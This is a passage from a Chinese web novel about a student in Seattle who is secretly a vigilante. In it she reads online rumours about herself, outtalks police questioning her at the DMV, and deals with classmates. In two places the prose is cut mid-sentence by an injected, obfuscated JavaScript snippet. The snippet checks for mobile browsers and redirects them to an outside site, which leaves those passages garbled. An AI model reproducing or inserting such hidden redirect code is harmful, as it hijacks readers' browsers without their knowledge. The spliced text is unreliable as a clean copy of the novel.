【不!这一点都不接近!你们绘画的时候不要相信苏珊说的话!根本就没有所谓的飞船和外星球!执法者就是一个人类!目击者说了,她就是一正常人类的样子!穿的也是人类的制服!不是什么其他生物!】 【but博主画得真的很帅,执法者就长这样我也可以接受。[爱心][爱心]】 【是的是的,这真的很棒!】 【不!她是人类!!!】 没错,我是人类,货真价实的人类,不是什么怪物,更不是什么异形! 这是明安这辈子被造过的最惨的谣,她从来没想过自己在物种方面还能有争议。 米国人民还是太抽象了…… 给为她辩解的正常人点了个赞后,明安面无表情地刷向了下一个视频。 她就不信了,偌大的山姆国还能没有一个正常人? 接下来的那位画师倒确实是正经了一些,真的有在把她当人画。 明安稍感安慰,留下来看了一会儿。 只见画中的主体有着人类的外形,人类的比例,人类的制服,还有人类正义的品德……这些内容全部加在一起后,她变成了一个—— 对着共产主义旗帜宣誓的蝙蝠侠。 【??????】 【不是bro,这对吗??】 【你需要向我支付观看这个视频的费用!![愤怒][愤怒]】 【对!太对了!我宣布这是最符合描述的一期!我想象中的蓝星执法者就是这个样子!】 【[赞][赞][赞],没错!这就是蓝星执法者应有的模样,她白天就像普通人一样待在我们中间,到了夜晚就化身为超人打击罪恶!她就是正义的化身!】 【而且她还很有钱!至少她的资产足够让她买下一块地皮,搭建隐蔽的监狱,这足以容纳那失踪的一百多个人!】 【她很可能是蝙蝠侠的影迷,或许是与布鲁斯相似的遭遇给了她动力,而这部电影给了她灵感,所以她打算成为和布鲁斯一样的人!】 【是的,他们的习惯都如此相像,都是黑色的制服!都是夜间行动!都是对罪恶零容忍!】 【执法者就是蝙蝠侠2.0!】 【其实我觉得还是不太对,但不得不说这确实是最合理的推测。】 【难以置信!超级英雄蝙蝠侠、哥谭市首富、韦恩集团的董事长,居然投身了共产主义!是什么让这位富有的资本家做出了这样的决定?!】 【因为只有共产主义才能救米国![赤旗]】 “…………” 你们知道自己在说什么吗? 明安已经麻木了,她寻思这些米国人磕了致幻剂吗这么会整活?都快把她整不活了。 然而点进博主主页一看,是个东州人。 很好,原来是出门在外被同胞肘击了…… 明安彻底丧失了看下去的欲望,正要退出TikTok。 然而下一个东州外交部的发言,还是把她硬控在了手机屏幕前。 只见画面里外交部发言人在听到记者提问“东州是什么时候在月球搭建太空监狱的?今后是否会考虑向火星扩张?”的时候,同样被硬控了好几秒。 而台下记者的眼神始终真诚。 27. 第 27 章 事实证明,人在无语的时候真的会笑,受过专业训练的外交部发言人也是如此。 “……东州始终遵守联合国《外空条约》,严格按照国际法和国际社会共识开展和平的太空探索活动,任何关于‘太空监狱’的话题都是毫无根据、不符合事实的。这是一个严肃的场合,请相关记者认真调查后再展开提问。” 【难绷。。。】 【我以为的外交部:贯彻国家对外方针、发布重大外交信息、回应各种国际争端、参与联合国多边事务等。事实上的外交部:每天严阵以待地面对各种抽象派的灵机一动,即便这里比菜市场还乱。】 【太过分了!怎么能问这种问题!笑坏了发言人你们付工伤吗![愤怒]】 【每次看到这么无厘头的提问,我都一脸问号:米国人哪来的这么丰富的想象力??】 【大概是叶子抽多了吧】 【继在月球背面烫外星人屁/股之后,咱妈又开始在火星造监狱了,下一步是不是要统治银河系?】 【忙不过来,根本忙不过来……】 【服了,我还寻思他们问这么抽象的问题是在刷KPI呢,原来是上回那个蓝星人民法院的事还有后续,这个组织居然在西雅图又抓了一波人!这回还抓了几个白男老爷和黑|帮!】 【啊?我还以为是行为艺术,居然是长期事业吗??】 【抓那么多人都没被发现,怪不得他们怀疑人被关在了外太空,米国的条子也太拉了吧!】 【这可比他们的条子有用多了,至少罪犯是真抓,黑|帮也是真干,而且平等地对待每一个族裔和阶级,抓完你的抓你的,甚至还会把路边的尸体送回家,米国警察可做不到这份上。】 【当然,咱也不确定被抓走的人是被关起来了,还是直接做成了期货……】 【已经有目击者见过她了,据说长得跟蝙蝠侠一样,照着我们东州的刑法到处逮人,还随身携带锤子镰刀的旗帜,有人说是“布鲁斯”照进现实,还加入了共产主义,要将米国改造成社会主义国家,红得有点抽象了】 【米共终于发力了?还是FBI另类钓鱼手法?】 【不像,西雅图的警察感觉自己的尊严被挑衅,正在大张旗鼓地抓人呢,政府也说是非法组织,没有任何法律效力,我看他们气急败坏的样子不像是演的。】 【哈哈哈哈干得漂亮!就是不知道哪天能抓个国会议员助助兴!】 【别这样,万一真吓到了他们,出动FBI、CIA、ICE大规模杀伤性武器怎么办?我可不想失去我远在太平洋彼岸的同志。】 【那你就格局小了,人家老米自己都指望她攻入白宫抓走总统呢,我们还是太保守了。】 【该说不说有些地方真的很老中,如果你们看了那些判决书的话,会发现完全就跟国内一个模板,我觉得单纯模仿不能模仿得这么细节……】 【不可能,绝对不可能!哪个国人那么闲跑去山姆国扫黑除恶?那能扫得完?】 【就是就是,而且我们领导人说了,米国人民要解放,只能依靠米国人民自己,指望别人是没用的。】 【吃瓜吧,反正不可能是我们,我倒要看看这活儿能整到多大】 【哈哈哈加油啊歪果仁同志!我们支持你!只要努努力,说不定真能把山姆国改造成社会主义国家呢!】 【为蓝星人民法院上大分!】 【祝你好运,西雅图的蝙蝠侠】 “……” 老外的抽象固然可怕,同胞的调侃更令人揪心。 得,这回直接开除国籍了。 还不如说她是外星人呢…… 明安心情沉重地退出了TikTok,她感觉自己就像是一个背着队友去帮别人打野的憨货。 两边都不讨好,两边都觉得她是别人的人。 而且可能是因为她这回抓了一个白男,触犯到了某些人的尊严和利益,山姆国内的舆论其实比上次激烈了很多。 带走无家可归者和帮派人员可以说是“清理垃圾”,但抓到“自己”头上可就没那么好笑了。 他们不相信她真的单纯是为了维护治安,认为那些罪名都是随意编造的。 又或者说他们自己身上不干净,难免担心下一个罗伯逊就是自己。 更何况她还将吸|毒也视为犯罪。 这个国家吸|毒的人太多了,光这一点就足以扫射一大片人。 被扫射到的人在意识到她不止针对无家可归者之后,都开始有些人人自危,尤其是西雅图的居民。 现在大多数人还当作是过家家或者行为艺术,就连总统都只是在搞抽象。 但再过一段时间,等发现她真的是动真格的之后,网民可能就无心玩梗了。 届时她面临的阻力将不止是罪犯。 唯一值得安慰的是,她虽然没有讨好所有人,但至少讨好了自己的钱包…… 比如现在她坐了半个多小时的Uber就花了一百多刀,还要付15%-30%的小费,昨天的她可负担不起。 奈何她没有自己的交通工具,只能忍痛付款,而且这还不能怪司机黑心。 因为她给得再多司机也只能拿到三分之一左右,平常一刀两刀的单子都得接,听说大部分人都只能赚个车损钱。 抵达目的地后,她付了20%的小费,司机看了她几眼,提出可以在这里等她,送她回市中心。 明安欣然同意,只当他热心肠,顺便想再赚她一笔。 这趟行程的体验还是不错的,车内打理得很干净,没什么异味,司机一路上除了偶尔看她两眼外,没有绕路,没有随便搭话,没有宣传自己的宗教,也没有发表素食主义理念,还给她点了个好评。 每个国家都有认真工作生活的人。 告别他后,明安进入DMV大厅。 由于早就听说这个部门是出了名的办事墨迹,和动物城里的树懒没什么两样,她特意选了一个人少的郊区办公室,还在网上做攻略将文件准备得非常齐全,顺便让011给她补了一个预约流程。 这样一番操作之后,她终于在排了两个小时的队,并和工作人员掰扯了几回合后,终于办成了她要办的事。 在此期间,她就跟长脖子鬼一样紧盯着工作人员的电脑屏幕,确认他真的把她的donor协议取消勾选了,这才稍稍满意,将学校的邮寄地址留下,便拿上临时证件离开了。 现在距离上课时间只有一个多小时了,她得尽快赶回学校。 结果明安刚走出DMV,一辆山姆国警车就迎面向她驶来,顿时给人一种不祥的预感。 而载她过来的Uber司机回避了她的目光,像是觉得自己愧对她给的小费。 明安:? 这对吗,大哥? 顾客把你放心里,你把顾客踹沟里? 怪不得这家伙老盯着她看,感情是打算举报她。 可举报她有什么用,难不成这些山姆警察还真的查到了她头上? 明安顿时想起了网上说他们到处抓人的言论,而且昨晚似乎也遇到过他们半夜拦车,只不过那时候她不确定对方找的是自己。 但她也知道有些地方自己扫尾没做好,在现代社会不留下痕迹是不可能的。 问题就是他们到底知道了多少? 大脑已经掀起风暴,明安面上却没有表露出丝毫异常,反而像个傻狍子一样站在原地,好奇地看着他们摸着枪走过来。 快到快要到跟前的时候还礼貌让路,仿佛以为他们要进DMV。 几个警察见此神色稍稍缓和,脚步慢了下来,搭在后腰的手也收了回来。 为首的警督打开了胸前的执法记录仪,随后出示了证件,用审视的目光盯着她,道:“明女士,我们有几个问题需要问你,希望你如实回答。” 明安错愕地看着他们,神色终于带上几分紧张,心中的石头却悄然落地。 没有直接抓人,就代表只是怀疑,没有证据,一点都没有。 警督:“12月30日夜晚,你是否去过市中心第三大街?” 明安下意识点头,“是的,我是去过那里,但不是我要去的,是我的寄宿家庭开车把我丢在那里的,我险些因此心脏病发作……” 警督冷声打断道:“这就是你第二天进入他们家里把他们带走的原因?” 明安心头一跳,震惊地看着他们,“你说什么?这怎么可能?!” “我能把他们带到哪里去?我只是一个留学生!而且如果我能将他们一家人制服,为什么还会在前一天晚上被他们扔在第三大街,你们知道那有多危险!” 警督冷笑,“危险吗?可你现在安然无恙。” 他审视着她,“那天晚上到过第三大街的人里,只有你一个人会说中文,也只有你一个人知道发生了什么,在这之后你又相继去了拉文纳社区和雷尼尔谷。” “你每抵达一个地方,那个地方就会发生人口失踪案,而你总是安然无恙——” 这太不合理了,这样看来她简直就是第一嫌疑人。 明安不敢置信地看着他们,呼吸都变得有些急促,像是被堵得哑口无言,但更多的是愤怒,“什么叫我总是安然无恙?!” “安然无恙就代表我是罪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104137|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犯吗?!” “那天晚上我差点别人拖走了!” “我不知道是什么人救了我,也不知道具体情形是什么样子的,我只知道我在角落里醒来发现自己还活着的时候有多惊喜!而这种时候你们在哪里?!” “至于我为什么要去拉文纳社区?当然是凯瑟琳教授住在那里,我又不是第一次去拜访她了!” “那天上课我发现她身上有伤痕,我非常担忧她,到达那里之后果然听到她丈夫在对她实施暴力,那天的报警电话就是我打的!” “然后我就离开了,我身为学生总不能留在那里围观老师的惨状!” “这些行为难道有问题吗?!” 警督顿了顿,和另一名警察对视一眼。 那名警察看了一眼记事本,向他点了点头,明安当晚确实拨打了报警电话。 毕竟她是坐轻轨去的,行程太好查了,她要给自己找一个理由。 不待他们反应,明安又愤慨道:“还有雷尼尔谷,我为什么要去那里你应该去问埃米!就是寄宿家庭的那个混蛋儿子!” “他和他的小团体抓走了我的朋友!威胁我过去救她!我能怎么办?!” “我还能指望你们吗?!” “……” 警督一噎,不得不打断她,“但这里面有太多巧合,而且这两天我们并未在任何一家旅馆查到你的入住记录,也没有发现你有其他朋友,但你却对你的朋友说……” “说什么?说我在别人家借宿?” “是的!我确实撒谎了!” 明安被拆穿了,但神情却表现得更加愤怒,“可我还能说什么?我说自己流落街头了吗?还是说我被我的亲生父亲遗弃了,又被寄宿家庭赶出家门拿走了证件,这两天只能睡在一个没人要的帐篷里吗?!” “这样她会怎么看待我?!” “还是说这也要我带你们去看!” 她像一个被戳中了自尊心的落魄富家女,竭力想要证明自己没有阶级滑落,“我说的都是真的!但这只是一个意外!我不会一直没有钱!我其他家人已经给我汇款了!我马上就会找到一个更好的住所!” “到时候我会让她们来参观,和她们一起开party!过和以前一样的生活!这一点不光彩的小插曲不需要任何人知道!” “至于安德森一家,我诅咒他们!” “他们失踪是他们罪有应得!” 几个警察默然了,一时间竟插不进话,而且这么看来她还是个受害者。 其中一个烦躁地低骂了一句“Fu*k,woman”,似乎在思考有什么办法能让她安静下来。 然而明安听到声音,却忽然又将矛头对准了他们,“对了,还有你们,我也有几个问题要问你们!” 她指了指身后的DMV大厅,“你们知道我为什么要来这里吗?” “……?” 虽然这个问题他们原本也打算要问,但她突然反客为主的行为还是让几个警察有些没反应过来,一时间都忘了自己原本想要说什么,“……办理驾照相关业务?” “是的,我要重新办理驾照。” 明安的脸色很难看,拿出被剪断的驾照和州身份证,指着上面的donor标志一字一顿地说: “因为它,因为它在我不知情的时候让我成为了遗体捐赠者,所以我现在不得不重新办理,虽然我也不知道这是否来得及。” “但它在你们国家简直就是合法杀人证!我还没有死就已经有公司把我预订了!这是埃米亲口说的!” “这就是那天晚上他们要把我扔在第三大街的原因,他们在交货,很快就有人会把我收走,那家购买我的公司就是芬太生物!他们花了五万美金购买我的尸体!” “要不是有人救了我,要不是我撑过来了,我现在根本就没办法站在这里接受你们的审讯!” “这件事不止我一个人知道,我的朋友也知道!接下来还会有更多人知道!” “我已经把情况告诉了我们国家的大使馆,我怀疑你们有预谋地在猎杀纯血东州人,想以此研究针对我们的生化武器!” “这是非常不人道且破坏世界和平的行为,我希望你们的政府能给我们一个交代!” 车管所日常的人流量还是不少的,见这边起了争执,排队的人很快就看了过来,并拿出手机录像。 这么一大顶帽子扣上来,警督等人也始料未及,他们感到匪夷所思。 等一下,请等一下,现在到底是谁在审讯谁? 而且研究生化武器…… 这个理由为什么那么耳熟? 28. 第 28 章 “这位女士,你多想了……” 警督只是觉得她几乎和每个案发现场都有关联很可疑而已,想问出她是否知道什么,并没有直接肯定她就是执法者。 或者说这个可能本身就很荒谬,毕竟她的资料非常干净透明,过去做的每一件事都有迹可循,还是一个有遗传性心脏病的患者,不可能在夜晚进行那么高强度的活动,白天还精神饱满地去上课。 那样她一定会猝死的。 而且几乎也只是几乎,昨晚执法者顶风作案又抓走一些无家可归者和疑似将一具尸体尸体送回家的事,就看起来和她没有关系。 明安冷笑,“但愿吧,毕竟差点死去的人不是你们,你们当然可以很轻松面对。” “……” 眼看聚在这里的人越来越多,几个警察开始感到有些为难。 今天他们本来还打算将她带回警局拘留几天慢慢询问的,但现在她在现场为自己进行了一场完美的辩护,而且还联系了东州的大使馆,这就变得有些棘手了。 这件事毕竟还没有严重到值得引起外交事故的程度,他们也并不想和东州的政府人员交涉,这太麻烦了。 而且被抓走的只是一些无家可归者和无关紧要的人,如果不是因为有“中文”和“共产主义”等因素掺杂其中,根本就不会吸引那么多人的目光。 还有芬太生物,他们刚刚好像听到了他们西雅图的最大的医药集团的名字,这同时也是他们警局的VIP金主。 他们不确定她到底知道了多少,又告诉了自己朋友和大使馆多少。 但现在那么多人在拍,再问下去可能就会影响金主的股价了。 这和他们的薪酬息息相关…… “请你不要激动,放轻松一点,我们只是随便问问,就像朋友聊天那样……” 警督安抚道,并立刻岔开话题,“那个所谓的执法者不一定是正义的超人,还可能是博取眼球的反社会人士,毕竟那么多人并不容易看管和储存,除非他们已经死亡。” “而你和诸多案件有牵连,我们怀疑对方就潜伏在你周围,你现在的情况很危险,我认为你需要知道这一点……” 吵不过就抹黑我是吧? 明安思考片刻,情绪稍微稳定了一些,似乎把他的话听了进去。 然后她点了点头道:“也对,这里不是东州,我们一般不用研究大量的人类应该怎么储存。” “所以芬太熟悉这方面的业务吗?” “……” 警督一言难尽地带人离开了。 也不知道是彻底被她整无语了,还是不想让芬太这个炸弹在自己脚底下爆炸,总之她看起来真的像个大麻烦。 明安看着他们离开,脸上还残留着不满,但心中却重重地松了一口气。 在这个地方法律法规是很弹性的,有时候暴力机构可以随意杀人,有时候一个普通的指控又可以轻易地让他们失业,理论上的先锋和行为上的野蛮同时在这个国家并存,不能心存侥幸。 毕竟他们是配了枪的,子弹发射的速度太快了,再多道德法律和国际准则的束缚都无法追赶。 她之前还听说有个善良的倒霉蛋看到山姆警察掉了东西,于是捡起来送过去,结果就被一枪爆头了。 鲜血洒在了街道上,整个过程不过几秒钟,他手里的东西和尸体同时落在地上,瞬间就失去了生命。 这根本就毫无征兆可言。 如果这些人在这个时候对她出手,她除了瞬间回到空间监狱之外没有别的选择,那么从今以后她将永远活在黑暗中。 而且明安不确定未经训练的自己,是否能在面对枪口时有那么快的反应速度,毕竟人类的大脑是很可能在极端危险面前停摆的。 她现在说是劫后余生也不为过。 明安深吸一口气,克制住自己不要表露出太多异常的情绪,脸上带着当地人刻板印象里东州留学生的天真,仿佛根本就不知道自己刚刚经历了多么可怕的事。 她还一边抱怨一边朝那名举报了自己的Uber司机走去,“喂!现在能载我回去了吗?” “……” 司机来不及离开就被她拦下了,脸上同样一言难尽并残留些许心虚,“……当然可以,如果你会付钱的话。” 明安冷哼一声,将自己的名牌背包扔在座位上,“我的钱足够买下你这辆破车了!” 司机被堵得说不出话来,只得接下了这个单子,并打开了收音机。 明安这时忽而意识到他为什么会举报她了,就是之前警方插播的那条寻人启示,里面应该有她,于是司机看到照片就掐了。 不过警方在找的人也不止她一个,很多人都被列入了怀疑名单里。 甚至有一些压根就没去过案发现场,但参加过反政府性质的行为,于是也被认为是有可能的主使者,他们的优先级比她还高。 而且这个国家虽然天天散播东州威胁论,但这大多是为了转移国内舆论视线和政治博弈的需要,心里对东州的个体大多是抱着轻视的想法的,毕竟他们一向表现得很温良,在这里也没有什么话语权,更何况是女性。 就像眼前这位司机,他明知道自己背叛了她,现在依然敢载人,根本一点都不担心她会从背包里掏出一把枪。 但如果换个肤色和性别,他早就跑了。 明安顺利地回到了学校,并赶上了下午四点的课,还有十几分钟的休息时间。 教室里正热火朝天地聊着什么,大多都是关于“执法者”“蓝星人民法院”“月球监狱”等相关的话题。 但在她进门的一瞬间,声量就变小了很多,许多道目光齐刷刷地朝她看了过来。 明安旁若无人地找了一个合适的位置坐下,拿出自己的课本和笔记摆好,并给左凌发消息说自己到了,接下来就开始构思凯瑟琳教授留的期末作业。 她在班级里的存在感一向很低,也很少有人愿意和她搭话。 但今天反而是他们按耐不住了。 有一个穿着橄榄球服,看着有点眼熟的男生小心翼翼地挪过来,“嘿,安,我听说埃米被抓走了,你知道这件事吗?” 他和埃米等人原本也是一个小团体的,就是之前不满原主说他不做小组作业的那个。 不过昨晚他需要去训练,所以便没有加入绑架活动,也算变相逃过了一劫。 明安不咸不淡地开口,“当然,我也和你一样会使用智能手机。” “……” 橄榄球男噎了一下,放在往常他早就发作了,但今天他莫名安分了许多。 大概是一下子失去很多狐朋狗友,让他感到有些唇亡齿寒。 他只是不满地嘲讽了一句,“那你可真幸运啊……” 要不是幸运地碰上了那个神秘的组织,她早就被埃米等人玩死了,说不定他也参与其中。 明安:“谢谢,我祝你也这么幸运。” “……” 这种幸运大可不必。 橄榄球男没有再说话了,他觉得这个东州人多少有点邪性,仿佛所有和她作对的人都会倒霉。 安德森夫妇将她赶出家门,很快就被人抓走了,埃米昨天刚和她起冲突,今天就不见了。 还有那个高级顾问罗伯逊,他是否也在她办理学费业务的时候和她有过矛盾呢? 难道那个神秘的执法者就像幽灵一样寄居在她身上?借助她的眼睛来观察世间的罪恶?到了晚上就掏出自己的正义之镰? 该死,这个讨人厌的东方人。 为什么总说一些让他不安的话! 想到这里,橄榄球男有些心里发毛,顿时觉得明安整个人都不太对劲。 在他偃旗息鼓后,其他人仍然兴趣不减。 过了一会儿,又走来几名打扮精致的女生,为首的那位用有些生疏的语气打招呼道:“嗨,我叫潘妮,你的包包看起来真时尚,我可以问你一个问题吗?” 明安看了看她,又看了一眼自己早就过时了的、背了好几年的包,“如果你想问执法者是不是东州人的话,我的回答是:No。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108828|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 真的不是,毕竟她已经被她祖国的同胞开除国籍了,还怎么能算是东州人呢? 呵,她就是个没人要的野人。 “……” 潘妮和其他几位女生一时无言,她们其实也早就和其他东州人聊过这个话题。 他们也大多都斩钉截铁地说:不可能!绝对不可能是东州人做的!我们为什么要不远万里地跑来拯救别人的国家!这对他们有什么好处?! 更何况这里还是山姆国,它的情况复杂程度稍微一想就能让人头疼到爆炸。 政权斗争、地方割据、种族歧视、贫富悬殊、群体对立、药物泛滥、暴力频发、宗教势力横行……每一个都是大麻烦,宛如东州上下五千年各种天灾人祸的结合体。 然而一堆bug又能work,还运行了那么久,简直震撼人心,这还能救? 反正他们认为自己是没有这样的实力的,除非世界核平,推翻重来。 但潘妮等人还是有些不甘心,毕竟判决书是中文,执法者是共产主义的拥护者,这两者结合在一起让人第一反应想到的就是东州。 就算不是她的国家做的,她也至少知道些什么吧? 潘妮忍不住追问道:“可之前埃米说你去过第三大街,而当晚那里的流浪汉就消失了,我想你应该看了什么,不能和我们聊聊吗,我可以邀请你加入我们的姐妹会……” 外国人怎么也这么八卦,偏偏还真问对人了。 明安一时无语,她当然可以演一场戏,装模作样说自己也见过,成为人群中的焦点,趁机融入她们的小团体。 但这对她有什么价值呢? 于是明安依旧保持和在警方面前一样的说辞,淡淡道:“拜埃米所赐,我那天病发晕倒了,不然我或许就可以和其他目击者一样看到执法者像天神一样降临,难道你以为我不想吗?” 很多人都想有这样的经历,这太新奇了,一定可以承包朋友们很久的聊天话题。 但她没时间吹嘘唠嗑,更没兴趣费尽心机去融入这些一开始就将她排除在外的人。 潘妮有些失望,但见她油盐不进也不好再说什么了,只在心里有些不满。 这个东州女似乎比以前更加傲慢了,说话直来直去,一点都不担心得罪别人。 是什么造成她这样的改变? 是因为那个神秘组织说她的国家的语言吗?还是因为这件万众瞩目的事和她有关?以至于一个无人在意的透明人因此得到了一些她原本无法得到的关注,所以变得傲慢了? 但这又能延续多久呢? 作为接受过高等教育的人,她们可不会相信网上说的什么“月球监狱”。 只要存在就会留下痕迹,那个神秘组织不可能一直逍遥法外而不被抓住,她也不可能一直受到关注。 毕竟这些东州人自己都说了,这和东州没有关系,她只是短暂地幸运了一下罢了,什么现状都没有改变。 可能那个执法者很快就被抓住了,发现不过是有人在恶作剧。 也可能过段时间就见不到明安了,毕竟山姆国的学费如此昂贵,她一个被父亲遗弃的可怜虫怎么可能交得起? 不说就不说,反正他们也不是很想和她这种人交流,这些山姆国的学生这样想着。 这时一个纸团从众人头顶飞了过来,砸中了明安的脑门。 “?” 明安顿时警觉地看过去,搞什么?校园冷暴力升级成热暴力了? 然而映入眼帘的是一个眼熟的金发碧眼白人女,身材高挑,妆容精致,仿佛连一根头发丝儿都有它该待的位置。 对方看着她翻了白眼,淡淡地说了一声“sorry”,根本分不清她是真心道歉还是在阴阳怪气。 还不待明安反应过来,她就又瞥了一眼潘妮,“她们的活动就像小宝宝playhouse(过家家)一样无聊,今晚来我家开party,我马上就要晋升为啦啦队队长了。” 潘妮:……? bic*h,我惹你了吗? 29. 第 29 章 教室里的人错愕地看了过来。 有人一眼就认出这个女生是学校的明星人物之一芭芭拉,有非常多的粉丝,她和另一名啦啦队预备队员卡罗琳的队长之争在学校引起广泛关注,还有人特意为她们做了一个投票网页。 听说最后卡罗琳在人气上赢了,因为她更爱笑,也更有钱,经常请学校的幸运儿去她家大别墅开派对。 不过目前看来,在内部评审实训中,是芭芭拉占了上风。 但这也不稀奇,能够进入校拉拉队的人都十分优秀,她更是出了名的拼命。 可不管怎么说,这样的人平时要多高傲有多高傲,有属于自己的小圈子,怎么会突然来这里邀请一个东州书呆子参加聚会? 尤其是以芭芭拉的行事风格,这简直魔幻到像是马尔克斯坐在书房写《百年孤独》的时候被UFO撞坏了脑子…… 在场的人有一瞬间怀疑自己出现了幻觉,他们简直难以相信自己看到了什么。 或许芭芭拉是在故意戏弄人,准备在明安答应的时候拒绝,让明安出糗? 又或者她和朋友打赌输了? 明安停顿了一下,这才想起对方就是那天在洗手间遇到的女生,也终于注意到刚刚那个纸团原来不是什么校园热武器,而是一封邀请函,又或者说是某种“社交准入证明”。 长见识了,她们的姐妹会居然有专门的邀请函,真精致,真有仪式感。 不过她也是真没什么兴趣。 明安将其递了回去,“恭喜你,但聚会我就不参加了,这个你拿回去吧,以后不要再乱扔垃圾了。” “……” 时隔一日,芭芭拉再次气到失语。 垃圾?她说这是垃圾? 如果这个该死的东州留学生能稍微学习一下什么叫语言管理的话,一定不至于像现在这样不受欢迎! 见她没反应,明安也不介意,直接怎么过来的就怎么丢了回去,“还有什么事吗?没什么事就回去上课吧,教授快来了。” 啪嗒,芭芭拉被精准地砸中了脑门,更加不敢置信地看着她。 明安则露出了满意的神色。 看来自己的准头提升了不少,以后可以省点麻醉剂了。 然而下一秒她的“靶子”就对她发出怒吼,“bic*h!你想死吗!你怎么可以这么对我?!” 该死的,她一定是疯了,否则怎么会真的按照约定来找这个死书呆子! 她就不应该来的,谅这碧池也不敢真的去找她兑现承诺! 班上其他人见她发怒顿时噤若寒蝉,往旁边避了避,生怕被战火波及,同时向明安投去了震撼又敬佩的眼神。 他们突然意识到明安或许并不是他们以为的那样默默无闻,或许在他们看不到的地方她做过很多惊天动地的事,比如现在—— 她居然这么水灵灵地拒绝了来自校园上流社交圈的邀请函,还三言两语把这位校园明星气到暴走! 潘妮也瞬间遗忘了之前那场不太愉快的交谈,她突然觉得明安不说垃圾话的时候还是挺有礼貌的…… “……” 明安却被骂得莫名其妙,完全不觉得自己有什么问题,“我想这么对你就这么对你了,这不是很正常吗?你激动什么?” 自己起的头还双标起来了? 明安又道:“对了,还有上次我们约定好的道歉声明,你可以开始发表了,刚刚那个不算。” “……” 芭芭拉杀了她的心都有了。 她气得胸腔不断起伏,面色涨红,拳头握得嘎吱作响。 就在众人几乎要以为她们要打起来了的时候,芭芭拉大步走到明安面前,重重地将邀请函拍在她的书上,“闭上你的破嘴!什么约定?谁答应你了?明明是你自己在自言自语!没睡醒就回家去吧!” “还有,我警告你!我的聚会你必须来!如果今晚没有看到你出现在我家的楼下,你就等着迎接你‘有趣’的校园生活吧!” “没有人能拒绝我芭芭拉!” 说完,这位金发碧眼的大美女冷哼一声,终于离开了教室。 徒留众人匪夷所思地看着她的背影,就这么结束了……?真的就只是想让明安参加party? “……” 明安缓缓将后倾的身体送回来,无言以对地看着桌上皱巴巴的邀请函。 她觉得这家伙才是真的没睡醒。 以为自己放几句狠话别人就会听了?不去芭芭拉还能绑她去不成? 明安浑不在意地揉了揉耳朵,如果真的是这样的话,那对方可能要把自己开party的地方换成空间监狱了。 她拿起这坨垃圾一样的纸团,正要起身走向垃圾桶,但中途却发现它的厚度似乎不太对,便下意识打开来看了一眼。 里面竟然还夹着一封信。 明安看了一眼,顿时怔住了。 信上有很多褶皱,隐约还能看到几个字母的墨被水渍化开,像是被人反复展开又揉成团丢掉很多回,倾注了全部的勇气,最后还是放了进来。 明安看着上面的字迹沉默了片刻,过了一会儿才回过神来,缓缓将其折好放回原位。 好吧,去长长见识也不是不可以。 这时教室终于结束了静音,学生们开始小声议论起来。 潘妮欲言又止地看了明安好几眼,经过激烈的思辨后,她认为只有一个理由能解释眼前发生的一切,其他人也是这么认为的。 于是她代表全体同学朝她发出了一声直击灵魂的质问,“安,这是情书吗?” “???” 什么情?什么书? 人类平平无奇的嘴,怎么可以说出这么抽象的话?? 明安匪夷所思地看向她,仿佛听到了什么什外星生物在猴叫。 南无阿门天尊,菩萨上帝真主,比把她开除人籍和开除国籍更为惊天动地的谣言出现了??? 前排的橄榄球男更是直接爆炸,跟被雷劈了一样对着潘妮怒吼:“fu*k!你给我闭嘴!你们在胡说什么!那是我的女朋友!她喜欢的不是女生!不是!!!” 虽然对方上周就和他分手了。 但不管怎么样、原因是什么、是不是移情别恋了,都不可能、也绝无可能是因为爱上了明安! 他发誓,这绝!无!可!能! 明安同样无语地开口,“……她是不是喜欢女生我不知道,但这的确不是情书,你不要乱说话。” “呃,OK……” 潘妮等人不知道是信了还是没信,但说倒确实没有继续说了。 只是互相之间的眼神交流极其疯狂,无需开口就把所有该蛐的蛐完了,神情更是劲爆得像刚吞了一个核弹…… 明安的心情一言难尽,只能选择眼不见心不静。 这时教授提前几分钟来到了教室,他是个看着挺精神的老头,见气氛不对,不由活跃道:“嘿!everybody,你们在聊什么?听起来似乎是个很有趣的话题?” 然而课堂上的学生面面相觑,半天都没有一个人开口,教授觉得自己的心灵受到了严重的创伤。 不一会儿,左凌也踩着点进来了。 她呲溜一下坐到了明安旁边,凑过来用气音道:“喂喂喂,你知不知道我昨天看到了什么!说出来你可能不信……诶?今天教室怎么这么安静?鲍勃教授也不凶啊?” 明安一点都不想重复自己刚刚经历了什么,更不愿畅想自己未来“精彩纷呈”的校园生活,“……不是什么大事,你怎么不在家里好好养伤?我不是说了会去看你吗?” 左凌伤得倒不算太重,毕竟埃米等人要保证货物的完整性,没敢把她打坏了。 不过她自己挣脱束缚的时候把手腕扭了,现在还缠着绷带。 但这丝毫不影响她倾诉 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其实她心里很愧疚,虽然嘴上说要帮明安,但她发现实际上自己根本帮不了。 她爸妈一听说明安遇到困难没地方住,就跟有病一样把家里的杂物间低价租出去了,明摆着不让她把明安带到家里来。 更让她觉得匪夷所思的是,明安给钱也就罢了,这人一向跟个地主家的傻女儿似的,会这么做也正常。 但她爸妈居然真的收了! 知道这件事的那一刻左凌几乎无地自容,她想不通他们为什么要这么做,更想不通他们一边教她中文、一边天天关注国内的事、一边又拼命融入当地社交圈到底是为了什么。 